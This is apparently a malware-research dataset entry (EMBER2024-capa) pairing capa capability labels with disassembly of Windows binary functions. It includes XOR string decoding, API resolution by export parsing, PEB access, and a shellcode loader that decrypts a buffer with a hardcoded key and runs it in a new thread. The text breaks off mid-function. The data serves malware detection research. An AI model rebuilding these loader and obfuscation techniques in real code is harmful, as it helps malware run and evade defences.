joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140007624
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rsi, rcx
mov ecx, 0x18
call fcn.14000a044
xor edi, edi
mov rbx, rax
mov qword [rax], rdi
lea ecx, [rdi + 0x18]
mov qword [rax + 8], rdi
mov qword [rax + 0x10], rdi
call fcn.14000a044
mov qword [rbx], rax
xorps xmm0, xmm0
mov r9d, edi
mov r8d, edi
lea rcx, [rax + 0x18]
mov qword [rbx + 0x10], rcx
xor ecx, ecx
movups xmmword [rax], xmm0
mov qword [rax + 0x10], rcx
add rax, 0x18
mov qword [rbx + 8], rax
mov cl, byte [r9 + rsi]
movabs rax, 0x4f38f62dd4c9a845
mul r8
mov rax, r8
inc edi
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 8
imul rax, rax, 0x187
sub r8, rax
lea rax, str.vJPITSFpMOCLSefDxeORvEioJzVZNULsfbpqqxAxI_tfTCMOgro_EORcp_AAiTzHYlWpVYVZocwcLDwnVrctVACXDlCgtcfLTiNRJnzEtdvKfgWabytQDWUiShYXOBDVyYgcrArtfoMekGVfdygPtnhSUPNClOnTZFzPfBdjDDVYbALZaLjObsxH_vTPJbRgtjqfQuJhQRzojTrNmgfGqccXEgczymxBXPNSFfpuEAyCYSGqVaUWXdNiCyUDzNPEUtDCWHUrGYpmtPMaEregVSRweacASnaovgTcpdIKQiPcTtRxEezWDVg_LugTIJoCojtSPOtmytXVpRhmlKEFMdcqPqZgwHOSpReMfYJCXJznsyvSznJogdXYLbheHOUiWOlWZh
xor cl, byte [r8 + rax]
mov rax, qword [rbx]
movsxd r8, edi
mov byte [r9 + rax], cl
inc r9
cmp r8, 0x18
jb 0x14000767d
mov rsi, qword [rsp + 0x38]
mov rax, rbx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x1400076dc
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rsi, rcx
mov ecx, 0x18
call fcn.14000a044
xor edi, edi
mov rbx, rax
mov qword [rax], rdi
lea ecx, [rdi + 6]
mov qword [rax + 8], rdi
mov qword [rax + 0x10], rdi
call fcn.14000a044
mov qword [rbx], rax
mov r9d, edi
mov r8d, edi
lea rcx, [rax + 6]
mov qword [rbx + 0x10], rcx
xor ecx, ecx
mov dword [rax], ecx
mov word [rax + 4], cx
add rax, 6
mov qword [rbx + 8], rax
mov cl, byte [r9 + rsi]
movabs rax, 0x4f38f62dd4c9a845
mul r8
mov rax, r8
inc edi
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 8
imul rax, rax, 0x187
sub r8, rax
lea rax, str.vJPITSFpMOCLSefDxeORvEioJzVZNULsfbpqqxAxI_tfTCMOgro_EORcp_AAiTzHYlWpVYVZocwcLDwnVrctVACXDlCgtcfLTiNRJnzEtdvKfgWabytQDWUiShYXOBDVyYgcrArtfoMekGVfdygPtnhSUPNClOnTZFzPfBdjDDVYbALZaLjObsxH_vTPJbRgtjqfQuJhQRzojTrNmgfGqccXEgczymxBXPNSFfpuEAyCYSGqVaUWXdNiCyUDzNPEUtDCWHUrGYpmtPMaEregVSRweacASnaovgTcpdIKQiPcTtRxEezWDVg_LugTIJoCojtSPOtmytXVpRhmlKEFMdcqPqZgwHOSpReMfYJCXJznsyvSznJogdXYLbheHOUiWOlWZh
xor cl, byte [r8 + rax]
mov rax, qword [rbx]
movsxd r8, edi
mov byte [r9 + rax], cl
inc r9
cmp r8, 6
jb 0x140007731
mov rsi, qword [rsp + 0x38]
mov rax, rbx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x140007790
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rsi, rcx
mov ecx, 0x18
call fcn.14000a044
xor edi, edi
mov rbx, rax
mov qword [rax], rdi
lea ecx, [rdi + 0x11]
mov qword [rax + 8], rdi
mov qword [rax + 0x10], rdi
call fcn.14000a044
mov qword [rbx], rax
xorps xmm0, xmm0
mov r9d, edi
mov r8d, edi
lea rcx, [rax + 0x11]
mov qword [rbx + 0x10], rcx
xor ecx, ecx
movups xmmword [rax], xmm0
mov byte [rax + 0x10], cl
add rax, 0x11
mov qword [rbx + 8], rax
mov cl, byte [r9 + rsi]
movabs rax, 0x4f38f62dd4c9a845
mul r8
mov rax, r8
inc edi
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 8
imul rax, rax, 0x187
sub r8, rax
lea rax, str.vJPITSFpMOCLSefDxeORvEioJzVZNULsfbpqqxAxI_tfTCMOgro_EORcp_AAiTzHYlWpVYVZocwcLDwnVrctVACXDlCgtcfLTiNRJnzEtdvKfgWabytQDWUiShYXOBDVyYgcrArtfoMekGVfdygPtnhSUPNClOnTZFzPfBdjDDVYbALZaLjObsxH_vTPJbRgtjqfQuJhQRzojTrNmgfGqccXEgczymxBXPNSFfpuEAyCYSGqVaUWXdNiCyUDzNPEUtDCWHUrGYpmtPMaEregVSRweacASnaovgTcpdIKQiPcTtRxEezWDVg_LugTIJoCojtSPOtmytXVpRhmlKEFMdcqPqZgwHOSpReMfYJCXJznsyvSznJogdXYLbheHOUiWOlWZh
xor cl, byte [r8 + rax]
mov rax, qword [rbx]
movsxd r8, edi
mov byte [r9 + rax], cl
inc r9
cmp r8, 0x11
jb 0x1400077e8
mov rsi, qword [rsp + 0x38]
mov rax, rbx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x140007848
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rsi, rcx
mov ecx, 0x18
call fcn.14000a044
xor edi, edi
mov rbx, rax
mov qword [rax], rdi
lea ecx, [rdi + 0x13]
mov qword [rax + 8], rdi
mov qword [rax + 0x10], rdi
call fcn.14000a044
mov qword [rbx], rax
xorps xmm0, xmm0
mov r9d, edi
mov r8d, edi
lea rcx, [rax + 0x13]
mov qword [rbx + 0x10], rcx
xor ecx, ecx
movups xmmword [rax], xmm0
mov word [rax + 0x10], cx
mov byte [rax + 0x12], cl
add rax, 0x13
mov qword [rbx + 8], rax
mov cl, byte [r9 + rsi]
movabs rax, 0x4f38f62dd4c9a845
mul r8
mov rax, r8
inc edi
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 8
imul rax, rax, 0x187
sub r8, rax
lea rax, str.vJPITSFpMOCLSefDxeORvEioJzVZNULsfbpqqxAxI_tfTCMOgro_EORcp_AAiTzHYlWpVYVZocwcLDwnVrctVACXDlCgtcfLTiNRJnzEtdvKfgWabytQDWUiShYXOBDVyYgcrArtfoMekGVfdygPtnhSUPNClOnTZFzPfBdjDDVYbALZaLjObsxH_vTPJbRgtjqfQuJhQRzojTrNmgfGqccXEgczymxBXPNSFfpuEAyCYSGqVaUWXdNiCyUDzNPEUtDCWHUrGYpmtPMaEregVSRweacASnaovgTcpdIKQiPcTtRxEezWDVg_LugTIJoCojtSPOtmytXVpRhmlKEFMdcqPqZgwHOSpReMfYJCXJznsyvSznJogdXYLbheHOUiWOlWZh
xor cl, byte [r8 + rax]
mov rax, qword [rbx]
movsxd r8, edi
mov byte [r9 + rax], cl
inc r9
cmp r8, 0x13
jb 0x1400078a4
mov rsi, qword [rsp + 0x38]
mov rax, rbx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x140007904
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rsi, rcx
mov ecx, 0x18
call fcn.14000a044
xor edi, edi
mov rbx, rax
mov qword [rax], rdi
lea ecx, [rdi + 0xd]
mov qword [rax + 8], rdi
mov qword [rax + 0x10], rdi
call fcn.14000a044
mov qword [rbx], rax
mov r9d, edi
mov r8d, edi
lea rcx, [rax + 0xd]
mov qword [rbx + 0x10], rcx
xor ecx, ecx
mov qword [rax], rcx
mov dword [rax + 8], ecx
mov byte [rax + 0xc], cl
add rax, 0xd
mov qword [rbx + 8], rax
mov cl, byte [r9 + rsi]
movabs rax, 0x4f38f62dd4c9a845
mul r8
mov rax, r8
inc edi
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 8
imul rax, rax, 0x187
sub r8, rax
lea rax, str.vJPITSFpMOCLSefDxeORvEioJzVZNULsfbpqqxAxI_tfTCMOgro_EORcp_AAiTzHYlWpVYVZocwcLDwnVrctVACXDlCgtcfLTiNRJnzEtdvKfgWabytQDWUiShYXOBDVyYgcrArtfoMekGVfdygPtnhSUPNClOnTZFzPfBdjDDVYbALZaLjObsxH_vTPJbRgtjqfQuJhQRzojTrNmgfGqccXEgczymxBXPNSFfpuEAyCYSGqVaUWXdNiCyUDzNPEUtDCWHUrGYpmtPMaEregVSRweacASnaovgTcpdIKQiPcTtRxEezWDVg_LugTIJoCojtSPOtmytXVpRhmlKEFMdcqPqZgwHOSpReMfYJCXJznsyvSznJogdXYLbheHOUiWOlWZh
xor cl, byte [r8 + rax]
mov rax, qword [rbx]
movsxd r8, edi
mov byte [r9 + rax], cl
inc r9
cmp r8, 0xd
jb 0x14000795c
mov rsi, qword [rsp + 0x38]
mov rax, rbx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x1400079bc
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rsi, rcx
mov ecx, 0x18
call fcn.14000a044
xor edi, edi
mov rbx, rax
mov qword [rax], rdi
lea ecx, [rdi + 0xf]
mov qword [rax + 8], rdi
mov qword [rax + 0x10], rdi
call fcn.14000a044
mov qword [rbx], rax
mov r9d, edi
mov r8d, edi
lea rcx, [rax + 0xf]
mov qword [rbx + 0x10], rcx
xor ecx, ecx
mov qword [rax], rcx
mov dword [rax + 8], ecx
mov word [rax + 0xc], cx
mov byte [rax + 0xe], cl
add rax, 0xf
mov qword [rbx + 8], rax
mov cl, byte [r9 + rsi]
movabs rax, 0x4f38f62dd4c9a845
mul r8
mov rax, r8
inc edi
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 8
imul rax, rax, 0x187
sub r8, rax
lea rax, str.vJPITSFpMOCLSefDxeORvEioJzVZNULsfbpqqxAxI_tfTCMOgro_EORcp_AAiTzHYlWpVYVZocwcLDwnVrctVACXDlCgtcfLTiNRJnzEtdvKfgWabytQDWUiShYXOBDVyYgcrArtfoMekGVfdygPtnhSUPNClOnTZFzPfBdjDDVYbALZaLjObsxH_vTPJbRgtjqfQuJhQRzojTrNmgfGqccXEgczymxBXPNSFfpuEAyCYSGqVaUWXdNiCyUDzNPEUtDCWHUrGYpmtPMaEregVSRweacASnaovgTcpdIKQiPcTtRxEezWDVg_LugTIJoCojtSPOtmytXVpRhmlKEFMdcqPqZgwHOSpReMfYJCXJznsyvSznJogdXYLbheHOUiWOlWZh
xor cl, byte [r8 + rax]
mov rax, qword [rbx]
movsxd r8, edi
mov byte [r9 + rax], cl
inc r9
cmp r8, 0xf
jb 0x140007a18
mov rsi, qword [rsp + 0x38]
mov rax, rbx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x140007a78
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
mov ecx, 0x18
call fcn.14000a044
mov edx, 6
mov rcx, rax
call fcn.140001f90
xor r8d, r8d
mov r9, rax
mov r10d, r8d
mov r11d, r8d
mov rcx, r10
movabs rax, 0x4f38f62dd4c9a845
mul r10
inc r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 8
imul rax, rcx, 0x187
lea rcx, str.vJPITSFpMOCLSefDxeORvEioJzVZNULsfbpqqxAxI_tfTCMOgro_EORcp_AAiTzHYlWpVYVZocwcLDwnVrctVACXDlCgtcfLTiNRJnzEtdvKfgWabytQDWUiShYXOBDVyYgcrArtfoMekGVfdygPtnhSUPNClOnTZFzPfBdjDDVYbALZaLjObsxH_vTPJbRgtjqfQuJhQRzojTrNmgfGqccXEgczymxBXPNSFfpuEAyCYSGqVaUWXdNiCyUDzNPEUtDCWHUrGYpmtPMaEregVSRweacASnaovgTcpdIKQiPcTtRxEezWDVg_LugTIJoCojtSPOtmytXVpRhmlKEFMdcqPqZgwHOSpReMfYJCXJznsyvSznJogdXYLbheHOUiWOlWZh
sub r10, rax
mov al, byte [r11 + rbx]
xor al, byte [r10 + rcx]
movsx ecx, al
mov rax, qword [r9]
movsxd r10, r8d
mov word [r11 + rax], cx
lea r11, [r11 + 2]
cmp r10, 6
jb 0x140007aa4
mov rax, r9
add rsp, 0x20
pop rbx
ret

Function at 0x140007b00
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
mov ecx, 0x18
call fcn.14000a044
mov edx, 0xb
mov rcx, rax
call fcn.140001f90
xor r8d, r8d
mov r9, rax
mov r10d, r8d
mov r11d, r8d
mov rcx, r10
movabs rax, 0x4f38f62dd4c9a845
mul r10
inc r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 8
imul rax, rcx, 0x187
lea rcx, str.vJPITSFpMOCLSefDxeORvEioJzVZNULsfbpqqxAxI_tfTCMOgro_EORcp_AAiTzHYlWpVYVZocwcLDwnVrctVACXDlCgtcfLTiNRJnzEtdvKfgWabytQDWUiShYXOBDVyYgcrArtfoMekGVfdygPtnhSUPNClOnTZFzPfBdjDDVYbALZaLjObsxH_vTPJbRgtjqfQuJhQRzojTrNmgfGqccXEgczymxBXPNSFfpuEAyCYSGqVaUWXdNiCyUDzNPEUtDCWHUrGYpmtPMaEregVSRweacASnaovgTcpdIKQiPcTtRxEezWDVg_LugTIJoCojtSPOtmytXVpRhmlKEFMdcqPqZgwHOSpReMfYJCXJznsyvSznJogdXYLbheHOUiWOlWZh
sub r10, rax
mov al, byte [r11 + rbx]
xor al, byte [r10 + rcx]
movsx ecx, al
mov rax, qword [r9]
movsxd r10, r8d
mov word [r11 + rax], cx
lea r11, [r11 + 2]
cmp r10, 0xb
jb 0x140007b2c
mov rax, r9
add rsp, 0x20
pop rbx
ret
Function at 0x14002ff1c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x40
mov rbx, qword [0x14004bc98]
lea rcx, [rbp - 0x20]
mov dword [rbp - 0x20], 0x220025
mov dword [rbp - 0x1c], 0x250035
mov dword [rbp - 0x18], 0x600038
mov dword [rbp - 0x14], 0x5e0074
mov dword [rbp - 0x10], 0x230029
mov dword [rbp - 0xc], 0x4c002f
call fcn.140007204
mov rcx, qword [rax]
call rbx
mov rbx, qword [0x14004bc98]
lea rcx, [rbp - 0x20]
mov qword [0x14004bc78], rax
mov dword [rbp - 0x20], 0x230021
mov dword [rbp - 0x1c], 0x20003e
mov dword [rbp - 0x18], 0x36003a
mov dword [rbp - 0x14], 0x5e0032
mov dword [rbp - 0x10], 0x230029
mov dword [rbp - 0xc], 0x4c002f
call fcn.140007204
mov rcx, qword [rax]
call rbx
movdqa xmm0, xmmword [0x1400433a0]
lea rcx, [rbp - 0x20]
movdqu xmmword [rbp - 0x20], xmm0
mov qword [0x14004bc88], rax
mov word [rbp - 0x10], 0x320e
mov byte [rbp - 0xe], 0x4f
call fcn.140007848
lea rcx, [rbp - 0x20]
mov dword [rbp - 0x20], 0x25352225
mov dword [rbp - 0x1c], 0x153e1638
mov dword [rbp - 0x18], 0x29373a2e
mov word [rbp - 0x14], 0x6504
call fcn.140007340
lea rcx, [rbp - 0x20]
mov dword [rbp - 0x20], 0x2c24243f
mov dword [rbp - 0x1c], 0x4233d26
mov dword [rbp - 0x18], 0x22263f02
mov word [rbp - 0x14], 0x6512
call fcn.140007340
mov rcx, qword [0x14004bc88]
mov rdx, qword [rax]
call fcn.140033730
movdqa xmm0, xmmword [0x140043350]
lea rcx, [rbp - 0x20]
movdqu xmmword [rbp - 0x20], xmm0
mov qword [0x14004bbf0], rax
mov byte [rbp - 0x10], 0x78
call fcn.140007790
mov rcx, qword [0x14004bc88]
mov rdx, qword [rax]
call fcn.140033730
movdqa xmm0, xmmword [0x1400433d0]
lea rcx, [rbp - 0x20]
movdqu xmmword [rbp - 0x20], xmm0
mov qword [0x14004bbf8], rax
mov dword [rbp - 0x10], 0x522a091c
call fcn.140007000
mov rcx, qword [0x14004bc88]
mov rdx, qword [rax]
call fcn.140033730
movdqa xmm0, xmmword [0x140043390]
lea rcx, [rbp - 0x20]
movdqu xmmword [rbp - 0x20], xmm0
mov qword [0x14004bbe8], rax
mov byte [rbp - 0x10], 0x78
call fcn.140007790
mov rcx, qword [0x14004bc88]
mov rdx, qword [rax]
call fcn.140033730
movdqa xmm0, xmmword [0x140043430]
lea rcx, [rbp - 0x20]
movdqu xmmword [rbp - 0x20], xmm0
mov qword [0x14004bbe0], rax
mov dword [rbp - 0x10], 0x13210a11
mov byte [rbp - 0xc], 0x76
call fcn.1400073f8
movdqa xmm0, xmmword [0x140043400]
movdqu xmmword [rbp - 0x20], xmm0
lea rcx, [rbp - 0x20]
mov word [rbp - 0x10], 0x2416
mov byte [rbp - 0xe], 0x4f
call fcn.140007848
lea r11, [rsp + 0x40]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
Function at 0x140033698
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
movsxd rax, dword [rcx + 0x3c]
xor ebx, ebx
mov r13, rdx
mov rsi, rcx
mov edi, dword [rax + rcx + 0x88]
add rdi, rcx
mov r14d, dword [rdi + 0x1c]
mov r15d, dword [rdi + 0x20]
add r14, rcx
mov r12d, dword [rdi + 0x24]
add r15, rcx
add r12, rcx
cmp dword [rdi + 0x18], ebx
jbe 0x14003370b
movzx eax, word [r12 + rbx*2]
mov rdx, r13
mov ecx, dword [r15 + rbx*4]
add rcx, rsi
mov ebp, dword [r14 + rax*4]
add rbp, rsi
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x14003372a
inc ebx
cmp ebx, dword [rdi + 0x18]
jb 0x1400336e4
xor eax, eax
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov rax, rbp
jmp 0x14003370d

Function at 0x140033730
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov r10, rdx
mov r9, rcx
test rcx, rcx
je 0x1400337b1
test rdx, rdx
je 0x1400337b1
movsxd rax, dword [rcx + 0x3c]
mov r8d, dword [rax + rcx + 0x88]
add r8, rcx
mov edi, dword [r8 + 0x1c]
mov edx, dword [r8 + 0x20]
add rdi, rcx
mov esi, dword [r8 + 0x24]
add rdx, rcx
mov ebp, dword [r8 + 0x18]
add rsi, rcx
xor ecx, ecx
test ebp, ebp
je 0x1400337b1
mov eax, dword [rdx]
mov rbx, r10
add rax, r9
sub rbx, rax
movzx r8d, byte [rax]
movzx r11d, byte [rax + rbx]
sub r8d, r11d
jne 0x1400337a2
inc rax
test r11d, r11d
jne 0x14003378c
test r8d, r8d
je 0x1400337c8
inc ecx
add rdx, 4
cmp ecx, ebp
jb 0x140033781
xor eax, eax
mov rbx, qword [rsp + 8]
mov rbp, qword [rsp + 0x10]
mov rsi, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
ret
movzx ecx, word [rsi + rcx*2]
mov eax, dword [rdi + rcx*4]
add rax, r9
jmp 0x1400337b3

Function at 0x140033940
Capabilities:
Access peb ldr_data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rax, qword gs:[0x60]
mov rsi, rcx
mov rdi, qword [rax + 0x18]
add rdi, 0x20
mov rbx, qword [rdi]
jmp 0x14003397c
mov rcx, qword [rbx + 0x40]
mov rdx, rsi
call fcn.14000b28c
test rax, rax
jne 0x140033993
mov rbx, qword [rbx]
cmp rbx, rdi
jne 0x140033968
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov rax, qword [rbx + 0x20]
jmp 0x140033983
Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Spawn thread to rwx shellcode

Disassembly:
push rbx
sub rsp, 0x40
mov rax, qword [0x140003008]
xor rax, rsp
mov qword [rsp + 0x38], rax
xor ecx, ecx
mov dword [rsp + 0x30], 0
mov edx, 0x1cc
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
xor r9d, r9d
lea r8, [0x140003060]
xor edx, edx
lea r10, str.mysuperdupersecretkey
mov rbx, rax
nop word [rax + rax]
xor ecx, ecx
lea r8, [r8 + 1]
cmp rdx, 0x15
cmovne rcx, rdx
inc r9d
movzx eax, byte [rcx + r10]
lea rdx, [rcx + 1]
xor byte [r8 - 1], al
cmp r9d, 0x1cc
jb 0x140001050
mov r8d, 0x1cc
lea rdx, [0x140003060]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
lea r9, [rsp + 0x30]
mov edx, 0x1cc
mov r8d, 0x20
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1400010d8
mov qword [rsp + 0x28], 0
xor r9d, r9d
mov r8, rbx
mov dword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140001100
add rsp, 0x40
pop rbx
ret

Function at 0x1400019dc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001a26
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001a26
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001a26
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001a26
cmp dword [rcx + 0x84], 0xe
jbe 0x140001a26
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001a28
xor al, al
add rsp, 0x28
ret
Function at 0x14000784c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140007896
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140007896
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140007896
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140007896
cmp dword [rcx + 0x84], 0xe
jbe 0x140007896
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140007898
xor al, al
add rsp, 0x28
ret
Function at 0x14000bcd0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rdi
push r15
sub rsp, 0x20
mov rdi, qword [0x14004f730]
xor esi, esi
mov r15, rcx
mov dword [rdi + 0x2d9c], esi
test rcx, rcx
je 0x14000bdea
mov qword [rsp + 0x40], rbx
lea rbx, [rdi + 0x2da0]
mov dword [rdi + 0x2d9c], esi
mov ecx, dword [rbx + 4]
mov qword [rsp + 0x48], rbp
test ecx, ecx
jns 0x14000bd2a
mov eax, ecx
cdq
sub eax, edx
mov edx, esi
sar eax, 1
add eax, ecx
mov rcx, rbx
test eax, eax
cmovg edx, eax
call fcn.1400030d0
mov dword [rbx], esi
cmp dword [rbx + 4], esi
jne 0x14000bd3e
mov edx, 8
mov rcx, rbx
call fcn.1400030d0
movsxd rcx, dword [rbx]
mov ebp, esi
mov rax, qword [rbx + 8]
mov byte [rcx + rax], sil
inc dword [rbx]
cmp dword [rdi + 0x2db0], esi
jle 0x14000bd8a
mov qword [rsp + 0x50], r14
mov r14, rsi
nop dword [rax]
mov r9, qword [rdi + 0x2db8]
mov r8, rbx
add r9, r14
mov rcx, rdi
mov rdx, r9
call qword [r9 + 0x20]
inc ebp
add r14, 0x30
cmp ebp, dword [rdi + 0x2db0]
jl 0x14000bd60
mov r14, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x48]
cmp qword [rbx + 8], rsi
je 0x14000bd99
mov esi, dword [rbx]
dec esi
mov rax, qword [rdi + 0x2da8]
lea rdx, [0x140042964]
test rax, rax
movsxd rsi, esi
lea rdi, [0x14004f728]
mov rcx, r15
cmovne rdi, rax
call fcn.14001eb60
mov rbx, rax
test rax, rax
je 0x14000bde5
mov r9, rax
mov r8, rsi
mov edx, 1
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r15
pop rdi
pop rsi
ret
Function at 0x14001ea40
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x20
mov rdi, r8
test r8, r8
je 0x14001ea59
mov qword [r8], 0
lea rdx, [0x140042960]
call fcn.14001eb60
mov rbx, rax
test rax, rax
jne 0x14001ea78
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
xor edx, edx
mov qword [rsp + 0x30], rbp
mov rcx, rbx
mov qword [rsp + 0x38], rsi
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x14001eb38
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd rsi, eax
cmp esi, 0xffffffff
je 0x14001eb38
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x14001eb38
mov rax, qword [0x14004f730]
mov rbp, rsi
test rax, rax
je 0x14001ead5
inc dword [rax + 0x3c8]
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rsi, rax
test rax, rax
je 0x14001eb38
mov r9, rbx
mov r8, rbp
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, rbx
cmp rax, rbp
je 0x14001eb25
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rax, qword [0x14004f730]
test rax, rax
je 0x14001eb1a
dec dword [rax + 0x3c8]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x14001eb41
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test rdi, rdi
je 0x14001eb33
mov qword [rdi], rbp
mov rax, rsi
jmp 0x14001eb43
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
mov rbp, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14001ec60
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push rdi
cmp dword [0x14004f854], 0
lea rdi, [0x14004f850]
mov r11d, r8d
mov r9d, edx
mov r10, rcx
jne 0x14001ed38
mov qword [rsp + 0x10], rbx
xor edx, edx
mov rbx, rdi
nop dword [rax]
mov r8d, edx
lea rbx, [rbx + 4]
and r8d, 1
mov eax, edx
shr eax, 1
neg r8d
and r8d, 0xedb88320
inc edx
xor r8d, eax
mov eax, r8d
shr r8d, 1
and eax, 1
neg eax
and eax, 0xedb88320
xor eax, r8d
mov ecx, eax
shr eax, 1
and ecx, 1
neg ecx
and ecx, 0xedb88320
xor ecx, eax
mov eax, ecx
shr ecx, 1
and eax, 1
neg eax
and eax, 0xedb88320
xor eax, ecx
mov ecx, eax
shr eax, 1
and ecx, 1
neg ecx
and ecx, 0xedb88320
xor ecx, eax
mov eax, ecx
shr ecx, 1
and eax, 1
neg eax
and eax, 0xedb88320
xor eax, ecx
mov ecx, eax
shr eax, 1
and ecx, 1
neg ecx
and ecx, 0xedb88320
xor ecx, eax
mov eax, ecx
shr ecx, 1
and eax, 1
neg eax
and eax, 0xedb88320
xor eax, ecx
mov dword [rbx - 4], eax
cmp edx, 0x100
jb 0x14001ec90
mov rbx, qword [rsp + 0x10]
not r11d
mov eax, r11d
test r9d, r9d
jle 0x14001ed6e
nop dword [rax]
nop word [rax + rax]
movzx ecx, byte [r10]
lea r10, [r10 + 1]
movzx edx, al
xor rdx, rcx
shr eax, 8
xor eax, dword [rdi + rdx*4]
sub r9d, 1
jne 0x14001ed50
not eax
pop rdi
ret
movzx r9d, byte [r10]
lea r8, [r10 + 1]
test r9b, r9b
